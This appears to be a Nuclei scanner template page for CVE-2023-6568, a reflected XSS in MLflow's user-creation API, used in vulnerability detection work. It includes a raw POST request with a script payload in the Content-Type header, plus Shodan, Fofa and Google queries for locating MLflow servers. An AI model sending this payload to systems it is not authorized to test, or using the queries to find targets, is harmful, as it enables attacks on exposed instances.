CVE-2023-6568: Mlflow - Cross-Site Scripting
- Template: CVE-2023-6568
- Name: Mlflow - Cross-Site Scripting
- Description: The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request, which is then reflected back to the user without proper sanitization or escaping.
- Impact: Allows attackers to execute malicious scripts in the context of a user's session
- Remediation: Sanitize and validate user input to prevent XSS attacks
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2023, mlflow, xss, vuln
- References: https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709, https://nvd.nist.gov/vuln/detail/CVE-2023-6568
- Cves: CVE-2023-6568
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-6568.yaml
- Digest: 4b0a00483046022100aeb5cd71f4d909bd594fd4d927500e35172ae110ac26d1ed16a5ff24a9bb4ea7022100f08ff398eacbba0dcef055b4ad02c914597943f408bedd0850c28c371a93f88b
- Created at: 2024-09-21T14:28:35Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 794
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-6568.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01649
- Epss percentile: 0.77128
- Cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="MLflow"
- Google-query: intitle:"mlflow"
- Max-request: 1
- Product: mlflow
- Shodan-query: http.title:"mlflow"
- Vendor: lfprojects
Products
| Product | Indexed | Url |
|---|---|---|
| lfprojects:mlflow | yes | /v1/products/lfprojects/mlflow |
Labels
- Name: Content-Type Header Reflection XSS
- Impact: Attackers can execute arbitrary scripts in the context of the victim's browser, leading to session hijacking, defacement, or redirection.
- Remediation: Implement proper sanitization and escaping of the Content-Type header in POST requests, and update to the latest version of the software.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to send a crafted POST request with malicious Content-Type header
- Labels source: projectdiscovery
- From cve: CVE-2023-6568
```yaml
id: CVE-2023-6568
info:
name: Mlflow - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request,
which is then reflected back to the user without proper sanitization or escaping.
impact: |
Allows attackers to execute malicious scripts in the context of a user's session
remediation: |
Sanitize and validate user input to prevent XSS attacks
reference:
- https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709
- https://nvd.nist.gov/vuln/detail/CVE-2023-6568
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-6568
cwe-id: CWE-79
epss-score: 0.01649
epss-percentile: 0.77128
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
fofa-query: app="MLflow"
google-query: intitle:"mlflow"
tags: cve,cve2023,mlflow,xss,vuln
http:
- raw:
- |
POST /api/2.0/mlflow/users/create HTTP/1.1
Host: {{Hostname}}
Content-Type: <script>alert(document.domain)</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "Invalid content type:"
condition: and
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 400
digest: 4b0a00483046022100aeb5cd71f4d909bd594fd4d927500e35172ae110ac26d1ed16a5ff24a9bb4ea7022100f08ff398eacbba0dcef055b4ad02c914597943f408bedd0850c28c371a93f88b:922c64590222798bb761d5b6d8e72950
```